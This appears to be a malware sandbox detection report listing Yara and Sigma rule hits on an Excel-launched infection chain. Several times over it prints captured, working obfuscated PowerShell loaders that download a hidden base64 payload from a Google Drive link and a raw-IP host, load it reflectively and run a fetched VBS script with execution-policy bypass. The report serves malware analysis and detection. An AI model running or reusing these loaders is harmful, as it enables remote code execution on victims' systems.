Process Memory Space: powershell.exe PID: 1372	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa679:$b2: ::FromBase64String( 0x161d5:$b2: ::FromBase64String( 0x167f9:$b2: ::FromBase64String( 0x1d829:$b2: ::FromBase64String( 0x1e02c:$b2: ::FromBase64String( 0x1e84a:$b2: ::FromBase64String( 0x1eee2:$b2: ::FromBase64String( 0x23ed4:$b2: ::FromBase64String( 0x2c630:$b2: ::FromBase64String( 0x30e2c:$b2: ::FromBase64String( 0x31d42:$b2: ::FromBase64String( 0x334ad:$b2: ::FromBase64String( 0x5a549:$b2: ::FromBase64String( 0x5abe0:$b2: ::FromBase64String( 0x76e2f:$b2: ::FromBase64String( 0x774c7:$b2: ::FromBase64String( 0x31b0b:$b3: ::UTF8.GetString( 0x332b4:$b3: ::UTF8.GetString( 0xa5e8:$s1: -join 0xa91f:$s1: -joIn 0x16144:$s1: -join
Process Memory Space: powershell.exe PID: 252	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 252	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xe60:$b2: ::FromBase64String( 0x14f7:$b2: ::FromBase64String( 0x5227:$b2: ::FromBase64String( 0x60e8:$b2: ::FromBase64String( 0x783a:$b2: ::FromBase64String( 0x2066c:$b2: ::FromBase64String( 0x20d03:$b2: ::FromBase64String( 0x4ee57:$b2: ::FromBase64String( 0x57db5:$b2: ::FromBase64String( 0x5e3b6:$b2: ::FromBase64String( 0x5ea4d:$b2: ::FromBase64String( 0x641c2:$b2: ::FromBase64String( 0x64828:$b2: ::FromBase64String( 0x80402:$b2: ::FromBase64String( 0x80bb1:$b2: ::FromBase64String( 0x5eb1:$b3: ::UTF8.GetString( 0x7641:$b3: ::UTF8.GetString( 0xdcf:$s1: -join 0x1106:$s1: -joIn 0x1466:$s1: -join 0x179d:$s1: -joIn

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4

Sigma detected: File With Uncommon Extension Created By An Office Application

Source: File created

Author: Vadim Khrykov (ThreatIntel), Cyb3rEng (Rule), Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE, ProcessId: 3560, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethebestthingsevermeetwithgreatthingstobegood[1].hta

Sigma detected: HackTool - CrackMapExec PowerShell Obfuscation

Source: Process started

Author: Thomas Patzke: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) |. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesa

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) |. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesa

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) |. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesa

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Windows\SySTeM32\winDowspOWErShell\v1.0\PoweRShELl.EXe" "powErshell -ex ByPasS -NoP -w 1 -c DEViCeCREdentialDEpLoyMEnt ; IeX($(iex('[SystEM.TExt.EncoDING]'+[ChAr]0x3A+[char]58+'UTf8.gETSTrIng([SystEm.cOnVeRT]'+[CHar]0x3A+[ChaR]58+'FROMBasE64STRIng('+[cHar]0X22+'JFpibFZsdVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURkLVRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFckRlRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbE1vTi5kbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIExIayxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgb2FseXlhR21BWCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgS0ksdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpUkpqdVRGeUZsTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIlhZIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNRVNQYWNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHFPaGJRUSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRaYmxWbHVSdDo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE5Mi4zLjE3Ni4xNDEvNDIvbG9naXN0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 3924, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\ogisticthingswithgoodthingsgivenbes.vbS" , ProcessId: 2036, ProcessName: wscript.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

